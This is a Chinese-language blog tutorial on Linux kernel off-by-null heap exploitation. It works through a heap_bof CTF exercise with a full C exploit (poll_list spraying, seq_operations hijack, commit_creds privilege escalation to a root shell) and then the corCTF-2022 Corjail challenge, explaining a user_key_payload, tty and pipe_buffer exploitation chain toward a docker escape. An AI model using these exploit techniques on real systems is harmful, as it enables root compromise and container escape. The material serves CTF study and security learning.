IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Linux kernel 堆溢出利用方法(二)

    dingjiacan@antvsion.com发表于 2024-12-17 09:17:30
    love 0

    前言

    本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。

    off by null

    我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?

    利用思路

    boot.sh

    #!/bin/bash

    qemu-system-x86_64 \
     -initrd rootfs.img \
     -kernel bzImage \
     -m 1G \
     -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
     -monitor /dev/null \
     -s \
     -cpu kvm64 \
     -smp cores=1,threads=2 \
     --nographic

    poll系统调用

    /*
    *   @fds: pollfd类型的一个数组
    *   @nfds: 前面的参数fds中条目的个数
    *   @timeout: 事件发生的毫秒数
    */
    int poll(struct pollfd *fds, nfds_t nfds, int timeout);

    poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。

    struct pollfd {
       int fd;
       short events;
       short revents;
    };

    struct poll_list {
       struct poll_list *next; // 指向下一个poll_list
       int len; // 对应于条目数组中pollfd结构的数量
       struct pollfd entries[]; // 存储pollfd结构的数组
    };

    poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000。

    poll_list 分配/释放

    do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。

    #define POLL_STACK_ALLOC    256
    #define PAGE_SIZE 4096
    //(4096-16)/8 = 510(堆上存放pollfd最大数量)
    #define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
    //(256-16)/8 = 30 (栈上存放pollfd最大数量)
    #define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))

    [...]

    static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
           struct timespec64 *end_time)
    {

       struct poll_wqueues table;
       int err = -EFAULT, fdcount, len;
       /* Allocate small arguments on the stack to save memory and be
          faster - use long to make sure the buffer is aligned properly
          on 64 bit archs to avoid unaligned access */
                   
       /*
       *  [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
       */
       long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
       struct poll_list *const head = (struct poll_list *)stack_pps;
       struct poll_list *walk = head;
      unsigned long todo = nfds;

       if (nfds > rlimit(RLIMIT_NOFILE))
           return -EINVAL;
       /*
       *  [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
       */
       len = min_t(unsigned int, nfds, N_STACK_PPS);

       for (;;) {
           walk->next = NULL;
           walk->len = len;
           if (!len)
               break;

           if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
               goto out_fds;

           todo -= walk->len;
           if (!todo)
               break;
           /*
           *  [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
           *  每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
           *  超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
           */
           len = min(todo, POLLFD_PER_PAGE);
           /*
           *   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
           */
           walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);          
           if (!walk) {
               err = -ENOMEM;
               goto out_fds;
           }
       }

       poll_initwait(&table);
       /*
       *  [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
       *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
       */
       fdcount = do_poll(head, &table, end_time);  
       poll_freewait(&table);

       if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
           goto out_fds;

       for (walk = head; walk; walk = walk->next) {
           struct pollfd *fds = walk->entries;
           int j;

           for (j = walk->len; j; fds++, ufds++, j--)
               unsafe_put_user(fds->revents, &ufds->revents, Efault);
       }
       user_write_access_end();

       err = fdcount;
    out_fds:
       walk = head->next;
       while (walk) {    // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
           struct poll_list *pos = walk;
           walk = walk->next;
           kfree(pos);
       }

       return err;

    Efault:
       user_write_access_end();
       err = -EFAULT;
       goto out_fds;
    }

    我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。



    详细流程

    1. 首先分配 kmalloc-4096 大小的结构题在ptr[0];

    2. 然后构造这样的poll_list结构体。

    3. 利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。

    4. 等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。

    5. 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr。

    exp

    #ifndef _GNU_SOURCE
    #define _GNU_SOURCE
    #endif

    #include <asm/ldt.h>
    #include <assert.h>
    #include <ctype.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <linux/keyctl.h>
    #include <linux/userfaultfd.h>
    #include <poll.h>
    #include <pthread.h>
    #include <sched.h>
    #include <semaphore.h>
    #include <signal.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/ipc.h>
    #include <sys/mman.h>
    #include <sys/msg.h>
    #include <sys/prctl.h>
    #include <sys/sem.h>
    #include <sys/shm.h>
    #include <sys/socket.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/xattr.h>
    #include <unistd.h>
    #include <sys/sysinfo.h>

    #define BOF_MALLOC 5
    #define BOF_FREE 7
    #define BOF_EDIT 8
    #define BOF_READ 9

    #define SEQ_NUM (2048 + 128)
    #define TTY_NUM 72
    #define PIPE_NUM 1024
    #define KEY_NUM 199

    char buf[0x20];
    int bof_fd;
    int key_id[KEY_NUM];

    #define N_STACK_PPS 30
    #define POLL_NUM 0x1000
    #define PAGE_SIZE 0x1000

    struct param {
       size_t len;        // 内容长度
       char *buf;         // 用户态缓冲区地址
       unsigned long idx; // 表示 ptr 数组的 索引
    };

    size_t user_cs, user_rflags, user_sp, user_ss;

    void save_status() {
       __asm__("mov user_cs, cs;"
               "mov user_ss, ss;"
               "mov user_sp, rsp;"
               "pushf;"
               "pop user_rflags;");
       puts("[*] status has been saved.");
    }

    void get_shell(void) {
       system("/bin/sh");
    }

    void qword_dump(char *desc, void *addr, int len) {
       uint64_t *buf64 = (uint64_t *) addr;
       uint8_t *buf8 = (uint8_t *) addr;
       if (desc != NULL) {
           printf("[*] %s:\n", desc);
       }
       for (int i = 0; i < len / 8; i += 4) {
           printf("  %04x", i * 8);
           for (int j = 0; j < 4; j++) {
               i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
           }
           printf("   ");
           for (int j = 0; j < 32 && j + i * 8 < len; j++) {
               printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
           }
           puts("");
       }
    }

    /*--------------------------------------------------------------------------------------------------*/

    struct callback_head {
       struct callback_head *next;
       void (*func)(struct callback_head *head);
    } __attribute__((aligned(sizeof(void *))));

    #define rcu_head callback_head
    #define __aligned(x)                    __attribute__((__aligned__(x)))
    typedef unsigned long long u64;

    struct user_key_payload {
       struct rcu_head rcu;        /* RCU destructor */
       unsigned short datalen;    /* length of this data */
       char data[0] __aligned(__alignof__(u64)); /* actual data */
    };

    int key_alloc(int id, void *payload, int payload_len) {
       char description[0x10] = {};
       sprintf(description, "pwn_%d", id);
       return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
    }

    int key_update(int id, void *payload, size_t plen) {
       return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
    }

    int key_read(int id, void *bufer, size_t buflen) {
       return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
    }

    int key_revoke(int id) {
       return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
    }

    int key_unlink(int id) {
       return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
    }

    /*--------------------------------------------------------------------------------------------------*/

    pthread_t tid[40];

    typedef struct {
       int nfds, timer;
    } poll_args;

    struct poll_list {
       struct poll_list *next;
       int len;
       struct pollfd entries[];
    };

    void* alloc_poll_list(void *args) {
       int nfds = ((poll_args *) args)->nfds;
       int timer = ((poll_args *) args)->timer;

       struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
       for (int i = 0; i < nfds; i++) {
           pfds[i].fd = open("/etc/passwd", O_RDONLY);
           pfds[i].events = POLLERR;
       }
       poll(pfds, nfds, timer);
    }

    void* create_poll_list(size_t size, int timer, int i) {
       poll_args *args = calloc(1, sizeof(poll_args));
       args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
       args->timer = timer;

       pthread_create(&tid[i], NULL, alloc_poll_list, args);
    }

    /*--------------------------------------------------------------------------------------------------*/

    struct list_head {
       struct list_head *next, *prev;
    };
    struct tty_file_private {
       struct tty_struct *tty;
       struct file *file;
       struct list_head list;
    };

    struct page;
    struct pipe_inode_info;
    struct pipe_buf_operations;

    struct pipe_bufer {
       struct page *page;
       unsigned int offset, len;
       const struct pipe_buf_operations *ops;
       unsigned int flags;
       unsigned long private;
    };

    struct pipe_buf_operations {
       int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
       void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
       int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
       int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
    };

    /*--------------------------------------------------------------------------------------------------*/

    void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
    void *init_cred = (void *) 0xFFFFFFFF81E496C0;
    size_t user_rip = (size_t) get_shell;

    size_t kernel_offset;
    void get_root() {
       __asm__(
           "mov rax, [rsp + 8];"
           "mov kernel_offset, rax;"
       );
       kernel_offset -= 0xffffffff81229378;
       commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
       init_cred = (void *) ((size_t) init_cred + kernel_offset);
       commit_creds(init_cred);
       __asm__(
           "swapgs;"
           "push user_ss;"
           "push user_sp;"
           "push user_rflags;"
           "push user_cs;"
           "push user_rip;"
           "iretq;"
       );
    }

    /*--------------------------------------------------------------------------------------------------*/

    int main() {
       save_status();
       signal(SIGSEGV, (void *) get_shell);
       bof_fd = open("dev/bof", O_RDWR);
       int seq_fd[SEQ_NUM];

       printf("[*] try to alloc_kmalloc-4096\n");
       size_t* mem = malloc(0x1010);
       memset(mem, '\xff', 0x1010);
       struct param p = {0x1000, (char*)mem, 0};
       ioctl(bof_fd, BOF_MALLOC, &p);

       printf("[*] try to spary kmalloc-32\n");
       p.len = 0x20;
       for (int i = 1; i < 20; ++i)
       {
           p.idx = i;
           memset(mem, i, 0x20);
           memset(mem, 0, 0x18);
           ioctl(bof_fd, BOF_MALLOC, &p);
           ioctl(bof_fd, BOF_EDIT, &p);
       }

       printf("[*] try to alloc_poll_list\n");
       for (int i = 0; i < 14; ++i)
       {
           create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
       }

       printf("[*] try to spary kmalloc-32\n");
       p.len = 0x20;
       for (int i = 20; i < 40; ++i)
       {
           p.idx = i;
           memset(mem, i, 0x20);
           memset(mem, 0, 0x18);
           ioctl(bof_fd, BOF_MALLOC, &p);
           ioctl(bof_fd, BOF_EDIT, &p);
       }

       sleep(1);
    //    调试用代码
    //    p.len = 0x1010;
    //    p.idx = 0;
    //    ioctl(bof_fd, BOF_READ, &p);

    //    printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);

       p.len = 0x1001;
       p.idx = 0;
       memset(mem, '\x00', 0x1001);
       ioctl(bof_fd, BOF_EDIT, &p);

       void *res;
       for (int i = 0; i < 14; ++i)
       {
           printf("[*] wating for poll end\n");
           pthread_join(tid[i], &res);
       }

       for (int i = 0; i < 256; ++i)
       {
           seq_fd[i] = open("/proc/self/stat", O_RDONLY);
       }

       sleep(1);

       for (int i = 1; i < 40; ++i)
       {
           p.idx = i;
           p.len = 0x20;

           ioctl(bof_fd, BOF_READ, &p);
           printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
           printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
           printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
           printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);

           mem[0] = (size_t*)get_root;
           mem[1] = (size_t*)get_root;
           mem[2] = (size_t*)get_root;
           mem[3] = (size_t*)get_root;
           ioctl(bof_fd, BOF_EDIT, &p);
       }

       for (int i = 1; i < 40; ++i)
       {
           p.idx = i;
           p.len = 0x20;

           ioctl(bof_fd, BOF_READ, &p);
           printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
           printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
           printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
           printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
       }



       for (int i = 0; i < 256; i++) {
           read(seq_fd[i], p.buf, 1);
       }

       return 0;
    }

    corCTF-2022:Corjail

    题目分析

    我们可以使用 Guestfish 工具读取和修改 qcow2 文件。

    run_challenge.sh

    #!/bin/sh
    qemu-system-x86_64 \
       -m 1G \
       -nographic \
       -no-reboot \
       -kernel bzImage \
       -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
       -hda coros.qcow2 \
       -snapshot \
       -monitor /dev/null \
       -cpu qemu64,+smep,+smap,+rdrand \
       -smp cores=4 \
       --enable-kvm

    init脚本

    查看服务进程/etc/systemd/system/init.service;

    Description=Initialize challenge

    [Service]
    Type=oneshot
    ExecStart=/usr/local/bin/init

    [Install]
    WantedBy=multi-user.target

    查看 /usr/local/bin/init 脚本;

     cat /usr/local/bin/init
    #!/bin/bash

    USER=user

    FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')

    useradd --create-home --shell /bin/bash $USER

    echo "export PS1='\[33[01;31m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]# '"  >> /root/.bashrc
    echo "export PS1='\[33[01;35m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ '" >> /home/$USER/.bashrc

    chmod -r 0700 /home/$USER

    mv /root/temp /root/$FLAG
    chmod 0400 /root/$FLAG

    password

    ❯ guestfish --rw -a coros.qcow2
    ><fs> run
    ><fs> list-filesystems
    /dev/sda: ext4
    ><fs> mount /dev/sda /
    ><fs> cat /etc/password
    libguestfs: error: download: /etc/password: No such file or directory
    ><fs> cat /etc/passwd
    root:x:0:0:root:/root:/usr/local/bin/jail
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ......

    root_shell

    查看root用户的/usr/local/bin/jail;

    ><fs> cat /usr/local/bin/jail
    #!/bin/bash

    echo -e '[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

    /usr/bin/docker run -it --user user \
       --hostname CoRJail \
       --security-opt seccomp=/etc/docker/corjail.json \
       -v /proc/cormon:/proc_rw/cormon:rw corcontainer

    /bin/bash

    /usr/sbin/poweroff -f

    发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。

    为了方便调试,我们可以使用edit将其修改为:

    ><fs> edit /usr/local/bin/jail 
    ><fs> cat /usr/local/bin/jail
    #!/bin/bash

    echo -e '[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

    cp /exploit /home/user || echo "[!] exploit not found, skipping"

    chown -R user:user /home/user

    echo 0 > /proc/sys/kernel/kptr_restrict

    /usr/bin/docker run -it --user root \
     --hostname CoRJail \
     --security-opt seccomp=/etc/docker/corjail.json \
     # 允许容器能够调用与日志相关的系统调用
     --cap-add CAP_SYSLOG \
     # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
     -v /proc/cormon:/proc_rw/cormon:rw \
     # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
     -v /home/user/:/home/user/host \
     corcontainer

    /bin/bash

    /usr/sbin/poweroff -f

    edit 的用法和 vim 一样。

    后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:

    ><fs> help upload
    NAME
       upload - upload a file from the local machine

    SYNOPSIS
        upload filename remotefilename

    DESCRIPTION
       Upload local file filename to remotefilename on the filesystem.

       filename can also be a named pipe.

       See also "download".

    kernel_patch

    diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
    --- a/arch/x86/entry/syscall_64.c   2022-06-29 08:59:54.000000000 +0200
    +++ b/arch/x86/entry/syscall_64.c   2022-07-02 12:34:11.237778657 +0200
    @@ -17,6 +17,9 @@

    #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,

    +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
    +EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
    +
    asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
      /*
      * Smells like a compiler bug -- it doesn't work
    diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
    --- a/arch/x86/include/asm/syscall_wrapper.h    2022-06-29 08:59:54.000000000 +0200
    +++ b/arch/x86/include/asm/syscall_wrapper.h    2022-07-02 12:34:11.237778657 +0200
    @@ -245,7 +245,7 @@
     * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
     * macros to work correctly.
     */
    -#define SYSCALL_DEFINE0(sname)                    \
    +#define __SYSCALL_DEFINE0(sname)                      \
      SYSCALL_METADATA(_##sname, 0);                  \
      static long __do_sys_##sname(const struct pt_regs *__unused);   \
      __X64_SYS_STUB0(sname)                      \
    diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
    --- a/include/linux/syscalls.h  2022-06-29 08:59:54.000000000 +0200
    +++ b/include/linux/syscalls.h  2022-07-02 12:34:11.237778657 +0200
    @@ -82,6 +82,7 @@
    #include <linux/key.h>
    #include <linux/personality.h>
    #include <trace/syscall.h>
    +#include <asm/syscall.h>

    #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
    /*
    @@ -202,8 +203,8 @@
    }
    #endif

    -#ifndef SYSCALL_DEFINE0
    -#define SYSCALL_DEFINE0(sname)                \
    +#ifndef __SYSCALL_DEFINE0
    +#define __SYSCALL_DEFINE0(sname)                  \
      SYSCALL_METADATA(_##sname, 0);              \
      asmlinkage long sys_##sname(void);          \
      ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);      \
    @@ -219,9 +220,41 @@

    #define SYSCALL_DEFINE_MAXARGS 6

    -#define SYSCALL_DEFINEx(x, sname, ...)            \
    -   SYSCALL_METADATA(sname, x, __VA_ARGS__)        \
    -   __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
    +DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
    +
    +#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
    +   static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
    +
    +#define __SYSCALL_COUNT(syscall_nr) \
    +   this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
    +
    +#define SYSCALL_COUNT_FUNCx(sname, x, ...)                \
    +   {                                  \
    +      __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);    \
    +      return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));    \
    +   }                                  \
    +   static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
    +
    +#define SYSCALL_COUNT_DECLARE0(sname) \
    +   static inline long __count_sys_##sname(void);
    +
    +#define SYSCALL_COUNT_FUNC0(sname)                \
    +   {                              \
    +      __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);    \
    +      return __count_sys_##sname();              \
    +   }                              \
    +   static inline long __count_sys_##sname(void)
    +
    +#define SYSCALL_DEFINEx(x, sname, ...)        \
    +   SYSCALL_METADATA(sname, x, __VA_ARGS__)    \
    +   SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)   \
    +   __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)    \
    +   SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
    +
    +#define SYSCALL_DEFINE0(sname)    \
    +   SYSCALL_COUNT_DECLARE0(sname)   \
    +   __SYSCALL_DEFINE0(sname)    \
    +   SYSCALL_COUNT_FUNC0(sname)

    #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)

    diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
    --- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
    +++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
    @@ -101,7 +101,7 @@
      return NULL;
    }

    -static struct syscall_metadata *syscall_nr_to_meta(int nr)
    +struct syscall_metadata *syscall_nr_to_meta(int nr)
    {
      if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
         return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
    @@ -111,6 +111,7 @@

      return syscalls_metadata[nr];
    }
    +EXPORT_SYMBOL(syscall_nr_to_meta);

    const char *get_syscall_name(int syscall)
    {
    @@ -122,6 +123,7 @@

      return entry->name;
    }
    +EXPORT_SYMBOL(get_syscall_name);

    static enum print_line_t
    print_syscall_enter(struct trace_iterator *iter, int flags,

    其中

    +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);

    为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。


    seccomp.json 保存了系统调用的白名单。

    {
       "defaultAction": "SCMP_ACT_ERRNO",
       "defaultErrnoRet": 1,
       "syscalls": [
           {
               "names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
               "action": "SCMP_ACT_ALLOW"
           },
           {
               "names": [ "clone" ],
               "action": "SCMP_ACT_ALLOW",
               "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
           }
       ]
    }

    根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。

    root@CoRJail:/# cat /proc_rw/cormon 

         CPU0      CPU1      CPU2      CPU3    Syscall (NR)

            9        16        25        18    sys_poll (7)
            0         0         0         0    sys_fork (57)
           66        64        79        60    sys_execve (59)
            0         0         0         0    sys_msgget (68)
            0         0         0         0    sys_msgsnd (69)
            0         0         0         0    sys_msgrcv (70)
            0         0         0         0    sys_ptrace (101)
           15        19        11         6    sys_setxattr (188)
           27        24        11        20    sys_keyctl (250)
            0         0         2         2    sys_unshare (272)
            0         1         0         0    sys_execveat (322)

    也可以指定系统调用。

    root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon 
    root@CoRJail:/# cat /proc_rw/cormon

         CPU0      CPU1      CPU2      CPU3    Syscall (NR)

            0         0         0         0    sys_msgsnd (69)
            0         0         0         0    sys_msgrcv (70)

    src.c

    可以看到 write 存在明显的off-by-null。

    static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
    {
       loff_t offset = *ppos;
       char *syscalls;
       size_t len;

       if (offset < 0)
           return -EINVAL;

       if (offset >= PAGE_SIZE || !count)
           return 0;

       len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

       syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
       printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

       if (!syscalls)
       {
           printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
           return -ENOMEM;
       }

       if (copy_from_user(syscalls, ubuf, len))
       {
           printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
           return -EFAULT;
       }

       syscalls[len] = '\x00';

       if (update_filter(syscalls))
       {
           kfree(syscalls);
           return -EINVAL;
       }

       kfree(syscalls);

       return count;
    }

    利用思路

    在 poll_list 利用方式中:

    • 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。

    这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。

    • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object。

    • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload。

    • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF。

    详细流程如下:

    首先,我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。

    void bind_core(bool fixed, bool thread) {
       cpu_set_t cpu_set;
       CPU_ZERO(&cpu_set);
       CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
       if (thread) {
           pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
       } else {
           sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
       }
    }

    喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。

    此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。

    通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。

    注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。

    static long
    setxattr(struct dentry *d, const char __user *name, const void __user *value,
        size_t size, int flags)
    {
       int error;
       void *kvalue = NULL;
       char kname[XATTR_NAME_MAX + 1];
       [...]
       if (size) {
           [...]
           kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
           if (!kvalue)
               return -ENOMEM;
           // 修改kmalloc-x内容
           if (copy_from_user(kvalue, value, size)) {
               error = -EFAULT;
               goto out;
           }
           [...]
       }

       error = vfs_setxattr(d, kname, kvalue, size, flags);
    out:
       kvfree(kvalue); // 释放kmalloc-x

       return error;
    }

    另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。

    喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。

    struct seq_operations {
       void * (*start) (struct seq_file *m, loff_t *pos);
       void (*stop) (struct seq_file *m, void *v);
       void * (*next) (struct seq_file *m, void *v, loff_t *pos);
       int (*show) (struct seq_file *m, void *v);
    };

    struct user_key_payload {
       struct rcu_head rcu;        /* RCU destructor */
       unsigned short  datalen;    /* length of this data */
       char        data[0] __aligned(__alignof__(u64)); /* actual data */
    };

    struct callback_head {
       struct callback_head *next;
       void (*func)(struct callback_head *head);
    } __attribute__((aligned(sizeof(void *))));
    #define rcu_head callback_head

    之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object 。

    释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object。

    打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。

    int tty_alloc_file(struct file *file)
    {
       struct tty_file_private *priv;

       priv = kmalloc(sizeof(*priv), GFP_KERNEL);
       if (!priv)
           return -ENOMEM;

       file->private_data = priv;

       return 0;
    }
    // kmalloc-32 | GFP_KERNEL
    struct tty_file_private {
       struct tty_struct *tty;
       struct file *file;
       struct list_head list;
    };


